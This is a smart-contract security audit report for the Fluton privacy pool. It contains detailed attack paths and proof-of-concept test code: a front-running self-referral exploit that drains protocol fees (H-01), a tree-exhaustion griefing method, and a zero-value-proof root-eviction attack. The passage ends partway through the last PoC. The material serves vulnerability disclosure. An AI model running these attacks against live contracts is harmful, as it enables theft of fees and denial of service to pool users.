KANN AUDITS

SECURITY REVIEW

FOR FLUTON



PREPARED FOR
Fluton

PREPARED BY
Kann Audits

DATE REPORTED
7 November 2026

INSIDE THIS REPORT

CONTENTS

01	AUDIT SUMMARY	04
02	PROTOCOL OVERVIEW	05
03	SCOPE	06
04	AUDITORS	07
05	METHODOLOGY	08
06	RISK CLASSIFICATION	10
07	FINDINGS SUMMARY	11
08	DETAILED FINDINGS	13
H-01	Referral credits are fixed at the deposit-time fee rate, so after a fee cut referrers can take protocol fees	13
M-01	The Merkle tree has a fixed capacity that every join-split transaction consumes, and a full tree blocks withdrawals	19
L-01	Permissionless zero-value proofs can evict valid Merkle roots and invalidate pending transactions	22
L-02	The pool owner can block withdrawals by changing the withdrawal fee rate	31
L-03	The referral bonus timestamp has no upper bound, so revocation can be undone and a referrer's bonus setter can be bricked	40
L-04	Referral Credit Is Minted at Deposit Time Against Non-Existent Protocol Fees, Bricking Owner Fee Collection and Falsifying Solvency	51
L-05	A payout obligation cannot leave InFlight without a gateway verdict	56
L-06	Rotating the Predicate registry re-arms attestations that were already spent	73
L-07	A registered attester can grief one victim's pending deposit by burning its attestation uuid first	80
I-01	A withdrawal of exactly one note unit reverts at any nonzero fee rate	87
I-02	Asset listing relies on owner discipline for wrapper behaviour and rate	101
I-03	The pool's tree depth is not coupled to the depth baked into the circuits and verifiers	105
I-04	The pool owner can replace the Predicate registry with one that approves everything	106
I-05	Minor code observations	107
I-06	Identical BN254 Setup Parameters alpha, beta, and gamma Across Distinct Circuits Threaten Cross-Verifier Soundness	124

09 DISCLAIMER 129

10 ABOUT KANN AUDITS 130

01 - OVERVIEW

AUDIT SUMMARY

Fluton engaged Kann Audits to perform a security review of the Fluton Pool smart contracts. From 20 – 27 October 2026, a team of 6 security researchers performed a manual review of the in-scope contracts and additionally triaged findings generated by the Kann AI Security Model. All findings identified during the assessment are documented in this report.

TOTAL FINDINGS

15 ISSUES

CRITICAL	–
HIGH	01
MEDIUM	01
LOW	07
INFORMATIONAL	06

ENGAGEMENT DETAILS

PREPARED FOR	Fluton
PREPARED BY	Kann Audits
DATE REPORTED	7 November 2026
REVIEW PERIOD	20 – 27 October 2026
LANGUAGE	Solidity, Circom
CHAIN	Ethereum
SCOPE	1,439 nSLOC
TIMELINE	8 days
METHODS	Manual review, Kann AI Security Model

02 - WHAT THE PROTOCOL DOES

PROTOCOL OVERVIEW

Fluton is a compliant privacy engine for blockchains. Users shield any amount of a listed token into a shared anonymity pool, pay each other privately inside it, and later withdraw to a fresh wallet, without the public chain linking the depositing wallet to the receiving one.

Every state change is one join-split zero-knowledge proof that spends existing notes and creates three new ones in a shared Merkle tree. Each listed token is held in its own Fhenix confidential wrapper, so users can shield and unshield plain or encrypted tokens. Deposits are screened with Predicate attestations, relayers are paid with notes inside the pool, and withdrawals pay a protocol fee that can be shared with referrers.

03 - WHAT WE REVIEWED

SCOPE

REPOSITORY	Kann-Audits/Fluton-Audit
AUDITED COMMIT	830da1f2ffafb77f53305c412b3ca51adcdb738e
FINAL COMMIT	01153c2d32334cf8b14db448295323cffde63e9a

#	FILE	NSLOC
01	packages/contracts/contracts/PrivacyPool.sol	715
02	packages/contracts/contracts/MerkleTreeWithHistory.sol	99
03	packages/contracts/contracts/LocalPredicateRegistry.sol	96
04	packages/contracts/contracts/Verifier.sol	126
05	packages/contracts/contracts/Verifier16.sol	182
06	packages/contracts/contracts/interfaces.sol	20
07	packages/contracts/contracts/fhenix/ConfidentialWrapper.sol	31
08	packages/contracts/contracts/fhenix/IConfidentialWrapper.sol	14
09	packages/circuits/src/joinSplit.circom	103
10	packages/circuits/src/merkleProof.circom	26
11	packages/circuits/src/merkleTree.circom	19
12	packages/circuits/src/transaction.circom	4
13	packages/circuits/src/transaction16.circom	4
	Total	**1,439**

04 - THE TEAM ON THIS ENGAGEMENT

AUDITORS

VI	VictoryGod SECURITY RESEARCHER	CO	cosminm53 SECURITY RESEARCHER
HI	Himanshu SECURITY RESEARCHER	AT	Atiq Ishrak SECURITY RESEARCHER
IS	Ishwar Kumar SECURITY RESEARCHER	RA	Razkky SECURITY RESEARCHER

05 - HOW WE WORK

METHODOLOGY

An engagement with Kann Audits involves a team of security researchers performing independent reviews of the codebase at the start of the engagement, followed by collaborative review sessions where auditors share findings and explore additional attack vectors to improve overall coverage.

The review included a line-by-line manual inspection of the in-scope codebase, along with analysis of the protocol architecture, access control mechanisms and state transitions. The team also assessed the code against common smart contract security best practices and industry standards.

STEP BY STEP

OUR SECURITY PROCESS

01 **Kickoff & Context**
A kickoff call to understand architecture, trust boundaries, threat assumptions and intended behaviour.

02 **Scope & Preparation**
Confirm the commit, files in scope, dependencies and the riskiest areas. We open a private channel between your team and our auditors.

03 **AI First Scan**
Kann AI, our proprietary model built to find security bugs, scans the codebase before the manual review starts.

04 **Expert Security Review**
Line-by-line analysis of exploit paths, invariant breaks, edge cases, accounting and integration risks.

05 **Findings & Proofs**
Each issue is confirmed, rated and backed by a proof of concept or a precise reproduction path.

06 **Mitigation Review**
We review every fix, confirm it resolves the root cause and flag partial or incorrect mitigations.

COVERAGE

THE REVIEW SPECIFICALLY CONSIDERED

- Zero-knowledge circuits and integrations: the Circom join-split circuits and their Groth16 verifiers, the Fhenix confidential wrappers and the Predicate deposit screening
- Compliance with industry best practices and known smart contract security standards
- Cross-referencing patterns with industry-standard implementations
- Testing against common and uncommon attack vectors
- Contract logic matching the client's intended behaviour
- Manual line-by-line review by experienced auditors

- Access control verification
- State transitions and logic, to detect inconsistencies, unexpected behaviour or exploitation paths
- Architecture and design analysis for secure component interactions and clear trust boundaries

06 - HOW WE RATE ISSUES

RISK CLASSIFICATION

Severity combines the **impact** of an issue if exploited with the **likelihood** that the conditions for exploitation are met.

CRITICAL	Directly exploitable with few or no preconditions, leading to theft or permanent loss of funds or loss of control of the system. Must be fixed before deployment.
HIGH	Directly exploitable vulnerabilities that can lead to significant material loss or critical impact on the system and require immediate fixing.
MEDIUM	Moderate loss of funds or impact on multiple users, but only under specific conditions. Exploitable without privileged access, but typically requires certain assumptions or edge cases.
LOW	Issues with limited impact that do not put funds directly at risk, such as edge cases or deviations from documented behaviour.
INFORMATIONAL	Non-exploitable findings such as best-practice deviations, cosmetic issues or documentation and compliance notes. They do not need urgent remediation but improve code quality and maintainability.

07 - ALL ISSUES

FINDINGS SUMMARY

CRITICAL	HIGH	MEDIUM	LOW	INFO
-	01	01	07	06

TOTAL 15 FIXED 11 ACKNOWLEDGED 04

ID	TITLE	SEVERITY	STATUS
H-01	Referral credits are fixed at the deposit-time fee rate, so after a fee cut referrers can take protocol fees	HIGH	FIXED
M-01	The Merkle tree has a fixed capacity that every join-split transaction consumes, and a full tree blocks withdrawals	MEDIUM	FIXED
L-01	Permissionless zero-value proofs can evict valid Merkle roots and invalidate pending transactions	LOW	FIXED
L-02	The pool owner can block withdrawals by changing the withdrawal fee rate	LOW	FIXED
L-03	The referral bonus timestamp has no upper bound, so revocation can be undone and a referrer's bonus setter can be bricked	LOW	FIXED
L-04	Referral Credit Is Minted at Deposit Time Against Non-Existent Protocol Fees, Bricking Owner Fee Collection and Falsifying Solvency	LOW	FIXED
L-05	A payout obligation cannot leave InFlight without a gateway verdict	LOW	ACKNOWLEDGED
L-06	Rotating the Predicate registry re-arms attestations that were already spent	LOW	ACKNOWLEDGED
L-07	A registered attester can grief one victim's pending deposit by burning its attestation uuid first	LOW	ACKNOWLEDGED
I-01	A withdrawal of exactly one note unit reverts at any nonzero fee rate	INFORMATIONAL	FIXED
I-02	Asset listing relies on owner discipline for wrapper behaviour and rate	INFORMATIONAL	FIXED
I-03	The pool's tree depth is not coupled to the depth baked into the circuits and verifiers	INFORMATIONAL	FIXED

ID	TITLE	SEVERITY	STATUS
I-04	The pool owner can replace the Predicate registry with one that approves everything	INFORMATIONAL	FIXED
I-05	Minor code observations	INFORMATIONAL	FIXED
I-06	Identical BN254 Setup Parameters alpha, beta, and gamma Across Distinct Circuits Threaten Cross-Verifier Soundness	INFORMATIONAL	ACKNOWLEDGED

08 - ISSUE BY ISSUE

DETAILED FINDINGS

H-01 Referral credits are fixed at the deposit-time fee rate, so after a fee cut referrers can take protocol fees

SEVERITY HIGH STATUS FIXED LOCATION PrivacyPool.sol

AFFECTED COMPONENTS

Contracts

SUMMARY AND ROOT CAUSE

A deposit's referral reward is computed once, at deposit time, from the withdrawal fee rate in force **at that moment** and is never revisited:

```
// PrivacyPool.sol:800-808
function _creditReferral(address _referrer, uint32 _asset, uint256 _amount) internal {
    ...
    uint256 reward = (_amount * withdrawFeeBps * share) / (FEE_DENOMINATOR * FEE_DENOMINATOR);
    referralCredit[_referrer][_asset] += reward;
    referralLiability[_asset] += reward;
}
```

The fee the deposit eventually pays is computed at withdrawal time from the rate in force **then**:

```
// PrivacyPool.sol:672 (_checkExtData)
if (_extData.withdrawFee ≠ withdrawFeeOf(amountOut)) revert WithdrawFeeMismatch();
// withdrawFeeOf reads the current withdrawFeeBps
```

The owner can lower `withdrawFeeBps` at any time (`setWithdrawFeeBps`, `PrivacyPool.sol:340`). After a cut, a credit granted at the old rate is larger than its deposit's share of the fee that deposit will actually pay.

`claimReferral` (`PrivacyPool.sol:422-433`) pays the credit out of the asset's whole `protocolFees` balance (`_payFees(..., protocolFees[_asset], ...)`). The excess is therefore taken from fees **other users** paid, which belong to the protocol (and to honest referrers).

This breaks a property the README documents explicitly (`README.md:199-201`):

`referralRewardOf(a, r) = floor(a × withdrawFeeBps × referralShareOf(r) / 10000²)`, **never more than the fee a withdrawal of `a` pays**. Credits never change afterwards.

The second sentence contradicts the first as soon as the fee rate goes down.

Per deposited unit, the withdrawal pays `newFee` but the referrer receives `oldFee × share`, so the protocol nets `newFee - oldFee × share`. Its entitlement at the rate actually charged is `newFee × (1 - share)`, so it loses `share ×`

`(oldFee - newFee)`. The attacker profits outright whenever `oldFee × share > newFee`.

The share can be as high as 100%: `referralShareOf` adds the base `referralShareBps` (owner-set, up to `MAX_REFERRAL_SHARE_BPS = 10_000`) and a bonus capped at `MAX_REFERRAL_BONUS_BPS = 2_500`, and caps the total at 10,000 (`PrivacyPool.sol:41-43`, `441-446`). Production uses a 25% base, and the bonus can raise it to 50%.

PRECONDITIONS AND ATTACK PATH

Preconditions

- The owner lowers `withdrawFeeBps`, which is an ordinary, non-malicious admin action (a promotion, competitive pricing, migration). The change is visible in the mempool or announced in advance.
- `protocolFees[asset]` holds fees paid by other users. Any active pool does.
- The attacker can deposit and controls a second wallet to use as the referrer. Self-referral is allowed; only `referrer == address(this)` is rejected.

Attack path

1. The attacker sees `setWithdrawFeeBps(newFee)` pending or announced, with `newFee < oldFee`.
2. Before it lands, they deposit a large amount `A` with `ExtData.referrer = attacker's 2nd wallet`. The 2nd wallet is credited `A × oldFee × share`.
3. The fee cut lands. The attacker withdraws `A`, paying only `A × newFee`.
4. The 2nd wallet calls `claimReferral` for the full credit. It is paid out of `protocolFees`, ahead of honest referrers whose credits may now go unfunded.
5. Net gain: `A × (oldFee × share - newFee)`, up to the asset's whole `protocolFees` balance. The capital is locked only between steps 2 and 3, and the attack can be repeated at every fee cut.

Without an attacker: every honest referred deposit that is outstanding during a fee cut over-claims in the same way, so the protocol loses `share × (oldFee - newFee)` on all of them.

IMPACT AND SEVERITY RATIONALE

Impact

- **Theft of protocol fee revenue.** In the PoC (100% share, fee cut from 100 to 50 bps), the owner should end with 2,000 USDC but ends with 1,500. The referrer took 1,000 USDC for a deposit that paid a 500 USDC fee. At production settings (35 bps, 50% share, cut to 0), the attacker gets back their full 1M deposit plus 1,750 USDC of other users' fees, and the owner keeps 1,750 of the 3,500 it earned.
- **Honest referrers lose out.** Once `referralLiability > protocolFees`, claims are first-come-first-served, and the attacker claims first.
- It's a permanent loss of funds (protocol revenue), not a delay.
- Any user can trigger it deliberately and it scales with deposit size up to the whole fee balance.
- It's set off by a routine, benign admin action that the code and README present as safe.
- It contradicts a documented invariant ("never more than the fee a withdrawal of `a` pays").

PROOF OF CONCEPT OR SUPPORTING EVIDENCE

Paste the following code in `packages/contracts/test/fhenix/referral-poc.test.ts`:

```ts
/**
 * Audit PoC: referral credit is granted at deposit time, before the referred deposit has paid
 * any withdrawal fee, and is paid out of fees other users' withdrawals paid.
 * Same harness as pool.test.ts (mock Groth16 verifier, real CoFHE mocks).
 */
import assert from "node:assert/strict";
import { describe, it } from "node:test";
import { cofheClientFor, USDC, WETH } from "./helpers.js";
import { FORMAT_CONFIDENTIAL, N_INS, poolHarness } from "./pool-fixture.js";

const FEE_BPS = 35; // production withdrawal fee, 0.35%
const SHARE_BPS = 2500; // production referral share, 25% of the fee

/**
 * Audit PoC: referral credit is fixed at the deposit-time withdrawal fee, but the withdrawal pays
 * the fee in force when it lands. After a fee cut the referrer takes more than the deposit's fee,
 * and the difference comes out of fees other users paid. Principal and checkBacking are unaffected.
 */
describe("audit PoC: referral credit outlives a fee cut", async () => {
  const h = await poolHarness();
  const { viem, wallets, conn } = h;
  const keeper = await cofheClientFor(conn, 0);
  const [, alice, bob, carol] = wallets;
  const ALICE = 1; // attacker: deposits before the fee cut, withdraws after it
  const BOB = 2; // honest users' activity: deposits and withdraws, pays fees
  const REF = carol.account.address; // the attacker's second wallet
  const USDC_ID = 2;
  const UNIT = 1_000_000n; // 1 USDC in note units
  const USDC_ = (n: bigint) => n * UNIT;
  const treasury = wallets[6].account.address;

  type Deployed = Awaited<ReturnType<typeof h.deploy>>;

  async function confirmAll(d: Deployed, attempts: readonly { attemptId: `0x${string}` }[]) {
    for (const a of attempts) assert.equal(await h.confirm(d, keeper, a.attemptId), true);
  }

  async function claim(d: Deployed, amount: bigint) {
    const hash = await d.pool.write.claimReferral([USDC_ID, amount, REF, FORMAT_CONFIDENTIAL], {
      account: carol.account,
    });
    const [started] = await h.events(d, hash, "AttemptStarted");
    assert.equal(await h.confirm(d, keeper, started.args.attemptId), true);
  }

  it("100% share, fee 100 → 50 bps: the referrer takes 1,000 USDC for a 500 USDC fee; the owner ends
with 1,500 instead of 2,000", async () => {
    const d = await h.deploy([WETH, USDC], { withdrawFeeBps: 100, referralShareBps: 10_000 });

    // Other users: 200k USDC deposited and withdrawn at 1%: 2,000 USDC of fees, no referrer.
    await h.publicDeposit(d, BOB, USDC_(200_000n), USDC_ID);
    await confirmAll(d, (await h.spend(d, { units: USDC_(200_000n), asset: USDC_ID, recipient:
bob.account.address })).attempts);
    assert.equal(await d.pool.read.protocolFees([USDC_ID]), USDC_(2_000n));

    // Alice deposits 100k naming her second wallet, while the fee is 1%: credit 1,000 USDC.
```

```
    await h.publicDeposit(d, ALICE, USDC_(100_000n), USDC_ID, N_INS, { referrer: REF });
    assert.equal(await h.credit(d, REF, USDC_ID), USDC_(1_000n));

    // The referrer claims the whole credit at once, out of the other users' fees.
    await claim(d, USDC_(1_000n));
    assert.equal(await h.balance(d, REF, USDC_ID), USDC_(1_000n));

    // The owner halves the fee; Alice withdraws her 100k and pays 500, not 1,000.
    await d.pool.write.setWithdrawFeeBps([50]);
    const w = await h.spend(d, { units: USDC_(100_000n), asset: USDC_ID, recipient:
alice.account.address });
    assert.equal(w.ext.withdrawFee, USDC_(500n));
    await confirmAll(d, w.attempts);

    // Owner's entitlement: 2,000 (others) + 500 (Alice's fee) - 500 (100% of it to her referrer)
    // = 2,000. What is left: 1,500. The referrer took 500 of other users' fees.
    assert.equal(await d.pool.read.protocolFees([USDC_ID]), USDC_(1_500n));
    assert.equal(await d.pool.read.referralLiability([USDC_ID]), 0n);
    await viem.assertions.revertWithCustomError(
      d.pool.write.collectFees([USDC_ID, USDC_(1_500n) + 1n, treasury, FORMAT_CONFIDENTIAL]),
      d.pool,
      "InsufficientFees",
    );
    await d.pool.write.collectFees([USDC_ID, USDC_(1_500n), treasury, FORMAT_CONFIDENTIAL]);

    // Not an insolvency: principal is untouched and the backing invariant holds.
    const l = await h.liabilities(d, USDC_ID);
    assert.equal(l.notes, 0n);
    assert.equal(await h.backingOk(d, keeper, USDC_ID), true);
  });

  it("production fee (35 bps), 50% share (25% base + 25% bonus cap), fee cut to 0: the referrer takes
1,750 USDC of other users' fees", async () => {
    // A 50% share is what the production base (2500) plus the bonus cap (MAX_REFERRAL_BONUS_BPS,
    // 2500) gives; it is set as the base here to keep the PoC free of the bonus signature flow.
    const d = await h.deploy([WETH, USDC], { withdrawFeeBps: 35, referralShareBps: 5_000 });

    // Other users: 1M USDC withdrawn at 0.35%: 3,500 USDC of fees.
    await h.publicDeposit(d, BOB, USDC_(1_000_000n), USDC_ID);
    await confirmAll(d, (await h.spend(d, { units: USDC_(1_000_000n), asset: USDC_ID, recipient:
bob.account.address })).attempts);
    assert.equal(await d.pool.read.protocolFees([USDC_ID]), USDC_(3_500n));

    // Alice front-runs an announced fee cut: deposits 1M with a self-referral at 35 bps.
    await h.publicDeposit(d, ALICE, USDC_(1_000_000n), USDC_ID, N_INS, { referrer: REF });
    assert.equal(await h.credit(d, REF, USDC_ID), USDC_(1_750n));

    // The cut lands; Alice withdraws everything for free, then her referrer claims.
    await d.pool.write.setWithdrawFeeBps([0]);
    const w = await h.spend(d, { units: USDC_(1_000_000n), asset: USDC_ID, recipient:
alice.account.address });
    assert.equal(w.ext.withdrawFee, 0n);
    await confirmAll(d, w.attempts);
    await claim(d, USDC_(1_750n));

    // Alice got her 1M back in full and 1,750 USDC on top; the owner, owed all 3,500, keeps 1,750.
    assert.equal(await h.balance(d, REF, USDC_ID), USDC_(1_750n));
```

```
    assert.equal(await d.pool.read.protocolFees([USDC_ID]), USDC_(1_750n));
    assert.equal(await h.backingOk(d, keeper, USDC_ID), true);
  });
});
```

Run:

```
cd packages/contracts
npx hardhat test nodejs test/fhenix/referral-poc.test.ts
```

Output:

```
audit PoC: referral credit outlives a fee cut
  ✔ 100% share, fee 100 → 50 bps: the referrer takes 1,000 USDC for a 500 USDC fee; the owner ends
with 1,500 instead of 2,000 (1330ms)
  ✔ production fee (35 bps), 50% share (25% base + 25% bonus cap), fee cut to 0: the referrer takes
1,750 USDC of other users' fees (1082ms)
```

Test 1 (`withdrawFeeBps = 100`, `referralShareBps = 10_000`)

STEP	PROTOCOLFEES	NOTE
Other users deposit and withdraw 200k USDC at 1%	2,000	no referrer
Alice deposits 100k with referrer = her 2nd wallet	2,000	credit 1,000
2nd wallet claims 1,000	1,000	paid from others' fees
Owner calls `setWithdrawFeeBps(50)`	1,000	
Alice withdraws 100k; `withdrawFee` = **500** (not 1,000)	1,500	
`collectFees(1,500 + 1)` reverts; `collectFees(1,500)` succeeds	0	entitlement was 2,000

The test also asserts `noteLiability == 0` and `checkBacking == true`, so this isn't insolvency: the 500 USDC shortfall moved from the protocol to the referrer.

Test 2 (`withdrawFeeBps = 35`, 50% share, equivalent to the 25% production base plus the 25% bonus cap)

1. Other users withdraw 1M, so `protocolFees` = 3,500.
2. Alice deposits 1M referring her 2nd wallet, which is credited 1,750.
3. The owner calls `setWithdrawFeeBps(0)`. Alice withdraws 1M with `withdrawFee` = 0, then the 2nd wallet claims 1,750.
4. Final state: the referrer holds 1,750 USDC, the owner is left with 1,750 of the 3,500 it was owed, and `checkBacking == true`.

RECOMMENDED REMEDIATION

Make the referral reward depend on the fee actually paid, not on the rate at deposit time

REMEDIATION FIXED

FLUTON

Fixed.

M-01 The Merkle tree has a fixed capacity that every join-split transaction consumes, and a full tree blocks withdrawals

SEVERITY MEDIUM STATUS FIXED LOCATION MerkleTreeWithHistory.sol PrivacyPool.sol joinSplit.circom

Location: MerkleTreeWithHistory.sol lines 36 to 41 (depth fixed at initialization), 74 to 75 (capacity check), 102 (index only grows). PrivacyPool.sol lines 469 to 472 (`transact`), 479 to 486 (`deposit`), 541 to 559 (`finalizeDeposit`), 745 to 768 (`_commitJoinSplit`). joinSplit.circom lines 142 to 147 and 190 to 195.

Description. The pool keeps one append-only Merkle tree whose depth is set once at initialization. The deployment record gives depth 20, which is a capacity of 1,048,576 leaves. Every call that inserts into the tree inserts exactly three output commitments through `_commitJoinSplit`. These calls are the one-step deposit, eTOKEN deposit finalization, private transfers and withdrawals. Other state-changing calls, such as `requestDeposit`, `verifyDeposit`, `cancelDeposit`, `confirmAttempt`, `retryObligation`, `collectFees` and `claimReferral`, insert nothing. `_insertLeaves` reverts with `TreeIsFull` when an insertion would pass the capacity. The next-index counter never decreases, and there is no reset, rotation or second tree. The lifetime budget of the pool is therefore 349,525 join-split transactions, counting deposits, deposit finalizations, private transfers and withdrawals together. After that count one slot is left and the next transaction needs three.

In Fluton Pool a withdrawal is itself an insertion of three leaves, so a full tree makes withdrawals impossible as well.

The budget can be consumed in two ways.

1. By ordinary usage over the life of the pool.
2. Deliberately, by anyone, with no note. A transfer with an external amount of zero needs no attestation and no listed asset. The circuit enables the Merkle membership check only for inputs with a nonzero amount, and the conservation and asset-binding constraints are satisfied by all-zero amounts. A transaction made of two zero-value dummy inputs and three zero outputs therefore proves and verifies. The pool accepts it from an account that holds no note, no token and no attestation, burns two fresh nullifiers and appends three leaves.

Cost of the deliberate path. We measured this directly.

- A three-leaf insertion into a depth-20 tree with the real Poseidon(2) hasher averages about 711,000 gas when all insertions run inside one test transaction, because storage stays warm there. Sent as separate transactions, as on chain, the same insertion averages about 850,000 gas including the 21,000 base cost (about 825,000 of execution), with a range from about 797,000 to 1,079,000 over 300 consecutive insertions. The cost depends on position in the tree, because each batch hashes between 21 and 39 nodes. One hash call costs about 29,600 gas.
- A complete zero-value transfer, with a real Groth16 proof, the real verifier and the real hasher through the pool behind its proxy at depth 20, used about 1.22 million gas on average over 36 consecutive transactions, with a range from 1,167,396 to 1,357,712. The Groth16 verification alone costs about 242,000 to 245,000 gas for the 2-input circuit. The project README reports 1.26 million gas for a 2-input transfer.
- Exhausting the tree therefore costs about 4.2 to 4.4 × 10^11 gas, roughly 420 to 440 ETH at 1 gwei. That much gas is on the order of ten thousand full blocks, so the price paid would rise well above 1 gwei and these figures are a floor. Proof generation took about 1.8 seconds per proof in our runs and parallelizes trivially.

Impact. When the tree is full, or has fewer than three free slots, every one-step deposit, deposit finalization, private transfer and withdrawal reverts. The first step of an eTOKEN deposit (`requestDeposit`) still succeeds and pulls the

eTOKEN into the pool, so a depositor who started one must recover through `cancelDeposit`, which creates a refund obligation that follows the InFlight rule in L-05. All unspent notes are frozen until the contract is upgraded.

The README states that the pool is upgradeable by the ProxyAdmin owner. Recovery is possible through an upgrade that adds a successor tree and keeps the full tree's final root spendable. It does not need advance preparation, because a full tree inserts nothing and its last roots stay in the history ring. It does need a surviving, trusted ProxyAdmin owner. The README also suggests renouncing the ProxyAdmin's ownership to freeze the code. After a renounce no upgrade is possible, a full tree would freeze every unspent note permanently, and Section 4 would rate that as High. The Medium rating assumes the owner key is kept.

Likelihood. Organic exhaustion depends on adoption. 349,525 transactions is large but finite, and a heavily used pool could reach it. Deliberate exhaustion gives the attacker no direct profit and costs hundreds of ETH, so it is mainly a griefing or extortion vector against a pool whose value exceeds that cost. A rollover also does not stop an attacker from refilling the new tree at the same cost.

Proof of concept. Four executed checks support this finding.

1. Using a minimal contract that exposes the tree's insertion function, with depth 2 (capacity 4) and a stand-in hasher, inserting a batch of three leaves and then a batch of one fills the tree. A batch of three, a batch of one and a batch of two then revert with `TreeIsFull` and leave the state unchanged. A second check in the same test asserts the deployed capacity of 2^20 leaves and a ceiling of 349,526 three-leaf transactions to reach it, so 349,525 succeed and the 349,526th is the first to revert.
2. Against the real PrivacyPool behind its proxy with the tree depth reduced to 3 (capacity 8) and a verifier test double, an unprivileged account with no note and no attestation fills the tree with two zero-amount transfers. A withdrawal and an attested deposit then revert with `TreeIsFull`.
3. At depth 20 on the real pool, with `nextIndex` forced to 1,048,572, one more zero-value transfer succeeds and leaves one free slot (`nextIndex` 1,048,575). A transfer and a withdrawal then both revert with `TreeIsFull`.
4. The end-to-end real-proof run described above: 36 of 36 dummy-only transactions were accepted from a fresh account in a pool with no listed asset. Replaying a transaction reverted with `NullifierSpent`, a changed ciphertext with `IncorrectExtDataHash`, an unknown root with `UnknownRoot`, a nonzero asset with `HiddenTransactionNamesAsset`, a changed public amount with `InvalidPublicAmount`, and a forged nullifier with `InvalidProof` from the real verifier. On a depth-3 pool, two transactions succeeded and the third reverted with `TreeIsFull`.

Recommendation.

1. Add a successor-tree mechanism. When fewer than three slots remain, store the final root of the full tree permanently in a separate set (outside the 30-entry root history ring, so notes in that tree stay spendable) and start a fresh empty tree for new outputs. Accept a proof if its root is a recent root of the current tree or any stored final root. The circuits and verifiers do not need to change, because the circuit takes the root as an input. Two costs apply. The mechanism adds code to a contract with only 146 bytes of headroom, and a prototype of the bare mechanism exceeded the size limit by at least 26 bytes, so space must be freed first. It also partitions the anonymity set, because each spend discloses which tree epoch its root belongs to, whereas the README promises one tree and one anonymity set.
2. Monitor `nextIndex` against 2^`levels`, both of which are already public. A dedicated remaining-capacity view is a convenience if the size budget allows it.

3. Decide deliberately whether the ProxyAdmin ownership will be renounced. Do not renounce while the tree can still fill and no successor mechanism exists.
4. If long life or high volume is expected, evaluate a larger depth. This requires new circuits, a new setup and new verifiers, and it adds hashing cost per level.
5. Document the lifetime transaction budget for users and integrators.

REMEDIATION FIXED

FLUTON

Confirmed, Medium. Fixed: MerkleTreeWithHistory now rolls over into a new tree and keeps the historical roots.

L-01 Permissionless zero-value proofs can evict valid Merkle roots and invalidate pending transactions

SEVERITY ● LOW STATUS ● FIXED LOCATION PrivacyPool.sol MerkleTreeWithHistory.sol joinSplit.circom

BRIEF DESCRIPTION

The join-split circuit permits a transaction whose inputs and outputs all have zero value. Such a transaction requires no existing note or token balance because Merkle membership checks are disabled for zero-amount inputs.

The pool nevertheless consumes the proof's nullifiers, appends all three zero-value output commitments to the Merkle tree, and records a new root. Since the contract retains only the latest 30 roots, an attacker can submit 30 valid zero-value transactions against one initially valid root and overwrite it. Any user proof prepared against that root then reverts with `UnknownRoot` and must be regenerated.

The same operation also permanently consumes three positions in the finite depth-20 tree despite moving no value.

This is a reproducible liveness/denial-of-service issue, not a theft or insolvency issue. Users' notes remain unspent and can be re-proved against a newer root.

1. ZERO-AMOUNT INPUTS DO NOT NEED TO BE MEMBERS OF THE TREE

In `joinSplit.circom`, the Merkle-root equality check is enabled by the private input amount:

```
// Enforce membership only for non-zero amounts: a dummy input (amount 0)
// contributes no value, so it may reference a leaf that does not exist.
inCheckRoot[tx] = ForceEqualIfEnabled();
inCheckRoot[tx].in[0] <== root;
inCheckRoot[tx].in[1] <== inTree[tx].root;
inCheckRoot[tx].enabled <== inAmount[tx];
```

When `inAmount[tx] == 0`, a prover can use a fresh dummy input that is not present in the tree. The conservation constraint at `joinSplit.circom:189-190` is also satisfied when all inputs, the public amount, and all outputs are zero:

```
sumIns + publicAmount === sumOuts;
```

This makes it possible to produce an unlimited sequence of valid proofs without owning a real note. Each proof uses fresh dummy secrets so its nullifiers and output commitments are unique.

2. THE PUBLIC ENTRY POINT ACCEPTS A ZERO-VALUE TRANSACTION

`PrivacyPool.transact` rejects only positive `extAmount` values:

```
function transact(TransactProof calldata _proof, ExtData calldata _extData) external nonReentrant {
    if (_extData.extAmount > 0) revert DepositRequiresAttestation();
    _transact(_proof, _extData);
}
```

The canonical checks explicitly permit `extAmount == 0` when the confidential format and hidden asset marker are used (`PrivacyPool.sol:652-680`). The generated proof passes the normal real verifier; this does not rely on bypassing proof verification.

3. A ZERO-VALUE PROOF STILL CONSUMES STATE AND APPENDS THREE LEAVES

After verification, `_commitJoinSplit` unconditionally marks every dummy nullifier as spent and inserts all three zero-value output commitments:

```
function _commitJoinSplit(TransactProof calldata _proof, ExtData calldata _extData) internal {
    for (uint256 i = 0; i < _proof.inputNullifiers.length; i++) {
        nullifierHashes[_proof.inputNullifiers[i]] = true;
        emit NewNullifier(_proof.inputNullifiers[i]);
    }
    nullifierCount += _proof.inputNullifiers.length;
    bytes32[] memory leaves = new bytes32[](N_OUTS);
    for (uint256 i = 0; i < N_OUTS; i++) {
        leaves[i] = _proof.outputCommitments[i];
    }
    uint32 start = _insertLeaves(leaves);
    // ...
}
```

No token moves and neither note liability nor protocol fees change, but each call adds three permanent leaves and creates a new root.

4. ONLY 30 TRANSACTION ROOTS ARE RETAINED

`MerkleTreeWithHistory` defines a 30-entry ring buffer:

```
uint32 public constant ROOT_HISTORY_SIZE = 30;
```

Every batch insertion advances and overwrites one ring-buffer entry (`MerkleTreeWithHistory.sol:99-102`):

```
uint32 newRootIndex = (currentRootIndex + 1) % ROOT_HISTORY_SIZE;
currentRootIndex = newRootIndex;
roots[newRootIndex] = nodes[0];
nextIndex = uint32(startIndex + n);
```

The initial root is therefore still accepted while the attacker submits transactions 1 through 30. Transaction 30 verifies against that root and then overwrites its ring-buffer slot. A pending proof against the original root subsequently fails the `isKnownRoot` check in `_verifyProof` with `UnknownRoot`.

ATTACK SEQUENCE

1. Select a currently accepted root `R`.
2. Generate 31 valid Groth16 proofs against `R`. Each proof uses two fresh zero-amount dummy inputs and three fresh zero-amount outputs.
3. Submit 30 proofs through the permissionless `transact` function.
4. Each call moves no tokens but appends three leaves and advances the root ring.
5. The 30th call overwrites `R`.
6. Submit or simulate the 31st, previously valid proof. It now reverts with `UnknownRoot`.

An attacker can repeat this process to force users or relayers to rebuild witnesses and regenerate proofs.

PROOF OF CONCEPT

The following PoC deploys the actual pool and verifiers on a local Hardhat chain, generates 31 real Groth16 proofs against the same root, submits 30 of them, and confirms that the remaining proof is rejected solely because its root was evicted.

Save it as `poc-zero-value-root-eviction.ts` and run it from the repository root:

```
pnpm install
pnpm --filter contracts build
pnpm --filter sdk exec tsx poc-zero-value-root-eviction.ts
```

Complete PoC code

```ts
import assert from "node:assert/strict";
import type { ChildProcess } from "node:child_process";
import {
  createPublicClient,
